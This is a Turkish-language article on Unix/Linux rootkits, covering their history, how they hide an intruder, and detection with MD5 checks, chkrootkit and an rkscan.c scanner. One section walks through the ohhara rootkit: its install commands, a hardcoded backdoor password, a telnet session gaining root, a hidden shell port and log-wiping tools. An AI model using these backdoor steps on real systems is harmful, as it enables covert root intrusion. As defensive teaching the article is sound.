Görünmez Misafirler: RootKit

Etiketler:

 RootKit

Soru:
Şirketimizdeki çalışanlardan biri sistemde güvenlik sorunu olduğunu söyledi fakat sistem yöneticisi olmama rağmen ben yanlış bir durum görmedim(Sistem yöneticisi bilemezse kim bilecek ki :> )

Cevap:
Her söze inanılacak diye bir durum yok. Fakat sistem güvenliği konusuna gelince işte orada durmak gerekir. İster doğru olsun ister yanlış. Her zaman dikkatli olmak gerekir.
Yukarıdaki soruya yönelik denilecek olayların başında paket yakalayıcılara (Sniffer) dikkat!!!

UNIX TROJANLARIN TARİHİNE KISA BİR BAKIŞ

1980li yıllarda Unix sisteminin üzerinde neler olduğunu belirlemek çok zor değildi.

  • "last" komutu davetsiz misafirin sistemde hangi hesapları(account) kullandığını, nereden bağlandığını gösterir.
  • "ls" komutu sistemde bulunan dosya/dizinleri gösterir. "ps" çalışan programları (sniffer), password kırıcı programları ve davetsiz misafirin çalıştırdığı herhangi bir dosyasını listeler.
  • "netstat" komutu network bağlantılarını ve bilgi akışını sağlayan portları gösterir.
  • "ifconfig" komutu network kartının durumunu göstererek sistemin PROMISC modda olup olmadığını bildirir.

Kısaca sistemin güvende olup olmadığı sana kolaylıkla bildirilirdi.

İlerleyen zamanlarda akıllı hackerlar sistem durumunu takip edecek ve bunla birlikte kendi aktivitelerini gizleyecek yöntemler geliştirdiler. Bu metodlar 2600 ve Phrack gibi elektronik dergilerde yayınlandı.

Örneğin, "Hiding Out Under Unix" (Phrack Volume Three,25 Mart 1989) isimli yazıda /etc/wtmp dosyasının düzenlenerek tüm login kayıtlarının nasıl temizleneceği bir kodla anlatılmıştı.
Zaman ilerledikçe akıllı programcılar "ls", "ps", "netstat" gibi önemli sistem
komutlarına trojan yerleştirmeyi başardılar.

Linux Root Kit versiyon 3 (lrk3), 1996 Aralık ayında yeni özelliklerle birlikte yayınlandı.
Kendini aktivitelerini gizleyerek sniff ile sistemdeki şifreleri
yakalayabiliyordu. Bu RootKit x86 tabanlı PClerde Linux üzerinde çalışıyor.

1998 Kasım ayındada Linux Root Kit version 4 (lrk4) duyuruldu.
Bu versiyona yeni özellikler eklenmişti. Bunlar:
"pidof" - "killall" (belirtilen süreci(proses) öldürme), "find" (Belirtilen tip, isim, tarih gibi durumlara göre dosyaları listemele), "top" (sürecleri gösterme), "crontab" (Periyodik olarak istenilen işlemleri belli zamanda gerçekleştirme)

Diğer rootkit programlarını bulabileceğiniz örnek adresler:

ftp://ftp.technotronic.com/unix/trojans
http://packetstormsecurity.org/UNIX/penetration/rootkits

Bir hackeri yakalamak için, onun araç ve teknikleri bilmek gerekir. Bir hackerin ilk yapacağı işlerin başında sistem yöneticisinden olabildiğince saklanmak ve farkedilmemektir. Bu kapsamda kullanılan araçların başında rootkit araçları gelmektedir..
Rootkitler birçok araçların bileşmesinden oluşur.
Bu araçlar sistemdeki aktiviteleri saklayarak yukarıda belirtildiği gibi sistem yöneticisini tarafından farkedilmeyi en aza indirirler.

Rootkit araçlarında login girişlerini ve loglarını wtmp, utmp, ve lastlog dosyalarından temizleyecek dosyalar içerir.
Ayrıca chfn, chsh, login, ve passwd gibi önemli dosyalar trojanlı halleriyle yer değiştirilir..

Örnek Rootkit(ohhara-rootkit):

1. ohhara rootkit nedir?
ohhara rootkit linux için bir backdoor (x86redhat 6.0 da test edilmiştir).

2. ohhara rootkit nasıl sisteme kurulur?

cd bin/glibc2.1./install-ohhara-rootkitvi /etc/inetd.conf dosyası düzenlenerek in.telnetd kısmı telnetd olarak değiştirilir)killall -HUP inetd

3. ohhara rootkitin sistemden silinmesi?

cd bin/glibc2.1./uninstall-ohhara-rootkitvi /etc/inetd.conf dosyası düzenlenerek telnetd kısmı in.telnetd olarak değiştirilir)killall -HUP inetdvi /etc/rc.d/rc.local dosyasında in.inetd ve in.smbd kısmı silinir)

4. ohhara rootkitin kullanılması?
/lib/security/pam_pwdb.so
Trojan pam. Herhangi bir loginle , 'gkfkqo79' passwordu ile sisteme girilir.

$ telnet rootkit_kurulmus_sistem.comTrying xxx.xxx.xxx.xxx...Connected to rootkit_kurulmus_sistem.comEscape character is '^]'.login: binPassword: ( gkfkqo79 )bash$ whoamibinbash$ su rootPassword: ( gkfkqo79 )bash# whoamirootbash#----------Linux sniffer ---> /usr/sbin/in.smbdLinux sniffer logları ---> /var/lock/subsys/...datafile.../...datafile.../in.smbd.logShell Port:30464 /usr/sbin/in.inetd ( password 'gkfkqo79' dur )----------$ telnet rootkit_kurulmus_sistem.com 30464Trying xxx.xxx.xxx.xxx...Connected to rootkit_kurulmus_sistem.comEscape character is '^]'.gkfkqo79whoami;root----------Log silinmesi ( zap2 ) /usr/sbin/fixdate

Tavsiyeler:
Kritik sistem araçlarının MD5 kontrollerini bulundurun.
Tüm açık portları kontrol edin.
Gerekli sistem araçlarını diskete ve/veya cdrom gibi ortamlarda yedekleyin.
Sistem loglarını iyi kontrol edin.
Güvenlik sitelerinden patch leri takip edin.

Rootkit Bulma:
Rootkitler belirtildiği gibi çeşitli araçlardan oluşur. Rootkitlerin varlığını anlamak için onu oluşturan bileşenleri iyi kavramak gerekir. Trojanlar, sistem yöneticisinin sistem loglarından açıkların anlaşılmasını engellemek için logları silme eğilimi gösterirler.
Böylece sistemde sniffer varlığının anlaşılmasını da en aza indirgenir.
Genellikle trojanlı olan sistem dosyaları: netstat,ps,df,find,ls gibi dosyalardır.
Saldırgan bu faydalı araçları değiştirerek sistem yöneticisinin; kendi dosyalarını, sistem aktivitelerini, proseslerin yanlış algılamasını sağlarlar..
İşi bilen bir saldırgan trojanlı dosyaların, orijinal dosya ile boyut ve yaratılma tarihi gibi ince ayarların aynı olmasına dikkat ederek kurnazca bir hareket yapmış olur.
Eğer daha önceden dosyaların(önemli sistem dosyaların) MD5 kontrolünü yaratmış ve zaman zaman bunları teker teker kontrol ediyorsanız trojanlı dosyaları bulmanız kolaylaşır.
MD5(Kriptografik kontrol) dosyaların bir dijital fotoğrafıdır.
Hiçbir dosya aynı fotoğrafa sahip olmamalıdır. MD5 Algoritması kullanılarak fotoğrafı çekilmiş bir dosyanın 1 byte ti değişse bile fotoğraftaki değişiklik anlaşılır(bu fotoğraf kelimesini çok kullanmaya başladım :> )
Not: Tekrar vurgulayarak söylüyorum: önemli sistem araçlarınızın yedeğini MD5 kontrolüyle birlikte yedeklemeyi unutmayın.

ChkRootkit programının kısa bir şekilde tanıtılması:
Chkrootkit programı sistemi tarayarak popüler rootkitlerin sisteme kurulup kurulmadığını gösterecektir.

Kontrol ettiği dosyalar:
aliens, aspi, bindshell, lkm, rexedcs, sniffer, wted, z2, amd, basename, biff, chfn, chsh, cron, date, du, dirname, echo, egrep, env, find, fingerd, gpm, grep, hdparm, su, ifconfig, inetd, inetdconf, identd, killall, ldsopreload, login, ls, lsof, mail, mingetty, netstat, named, passwd, pidof, pop2, pop3, ps, pstree, rpcinfo, rlogind, rshd, slogin, sendmail, sshd, syslogd, tar, tcpd, top, telnetd, timed, traceroute, write.

Tanımlayabildiği RootKit çeşitleri:

lrk3, lrk4, lrk5, lrk6 (ve bazı türleri);
Solaris rootkit;
FreeBSD rootkit;
t0rn;
Ambient's Rootkit for Linux (ARK);
Ramen Worm;
rh[67]-shaper;
RSHA;
Romanian rootkit;
RK17;
Lion Worm;
Adore Worm;
LPD Worm;
kenny-rk;
Adore LKM;
ShitC Worm;
Omega Worm;
Wormkit Worm;
Maniac-RK;
dsc-rootkit;
Ducoci rootkit;
x.c Worm;
RST.b trojan;
duarawkz;
knark LKM;
Monkit;
Hidrootkit;
Bobkit;
Pizdakit;

Test edildiği sistemler:
Linux 2.0.x, 2.2.x ve 2.4.x, FreeBSD 2.2.x, 3.x ve 4.x, OpenBSD 2.6, 2.7, 2.8,
2.9 ve 3.0, Solaris 2.5.1, 2.6 ve 8.0

Bu faydalı programını belli bir zamanda çalışmasını istiyorsanız cron'a yerleştirebilirsiniz.

0 3 * * * (cd /dizin/chkrootkit; ./chkrootkit 2>&1 | mail -s "chkrootkit output" root)

KNARK(versiyon 0.59) ve ADORE(versiyon 0.14, 0.24 ve 2.0b) rootkitleri tanımlaya bilen bir program kodunu aşağıda bulabilirsiniz.

/** rkscan.c (C) 2000 by Stephane Aubert** <Stephane.Aubert at hsc.fr>**** Rootkit Scanner for: ** . KNARK version 0.59 ** (kernel-based rootkit)** knarf was written by Creed <creed at sekure.net>** and can be found on packetstrom.securify.com**** . ADORE version : 0.14, 0.24 and 2.0b** (kernel-based rootkit)** Adore was written by Stealth** and can be found on http://spider.scorpions.net/~stealth/**/#include <sys/types.h>#include <values.h>#include <unistd.h>#include <stdio.h>#include <time.h>// Use MAXINT for a fullscan#define UPSCAN 65535 int knark_scan( void ) {int command;printf(" Scanning for KNARK version 0.59 ...n");for( command=UPSCAN; command>=0; command-- ) {if(settimeofday((struct timeval *)command,(struct timezone *)NULL) == 0) {printf(" #KNARK rootkit is running (settimeofday command=%d) !nn",command );return 1;}}printf(" KNARK rootkit NOT DETECTED on this system.nn");return 0;}int adore_scan( void ) {int version;uid_t uid;printf(" Scanning for ADORE version 0.14, 0.24 and 2.0b ...n");// for all possible UIDsfor( uid=UPSCAN; uid>=2; uid-- ) {if( getpwuid(uid) == NULL ) { // if UID is not in /etc/passwdif( (version=setuid( uid )) >0 ) {printf(" #ADORE rootkit is running with ELITE_CMD=%d !nn", uid-2 );return 1;}}}printf(" ADORE rootkit NOT DETECTED on this system.nn");return 0;}int main( int argc, char *argv[] ) {int retval=0;printf("-=- Rootkit Scanner -=-n""-=- by<mail to="Stephane.Aubert@hsc.fr" subject="" text="Stephane.Aubert@hsc.fr" />-=-nn");if( getuid()==0 ) {printf(" *** Don't run this scanner as root ! ***nn");exit( 0 );}retval += adore_scan();retval += knark_scan();printf("Done.n"); exit( retval );}

Kullanımı:

[root@CiLeK RootKit]# gcc -o rks rkscan1.0.crkscan1.0.c: In function `adore_scan':rkscan1.0.c:46: warning: comparison between pointer and integer[root@avicenna RootKit]#./rks-=- Rootkit Scanner -=--=- by<mail to="Stephane.Aubert@hsc.fr" subject="" text="Stephane.Aubert@hsc.fr" />-=-*** Don't run this scanner as root ! ***[root@avicenna RootKit]#[avicenna@avicenna RootKit]$ ./rks-=- Rootkit Scanner -=--=- by<mail to="Stephane.Aubert@hsc.fr" subject="" text="Stephane.Aubert@hsc.fr" />-=-Scanning for ADORE version 0.14, 0.24 and 2.0b ...ADORE rootkit NOT DETECTED on this system.Scanning for KNARK version 0.59 ...KNARK rootkit NOT DETECTED on this system.Done.

REFERANSLAR
http://staff.washington.edu/dittrich/misc/faq/rootkits.faq
http://www.theorygroup.com
http://www.iay.pwp.blueyonder.co.uk/threel/tech/tools/md5.htm
http://packetstormsecurity.org
http://www.chkrootkit.org

__________________________

5
Ortalama: 5 (1 vote)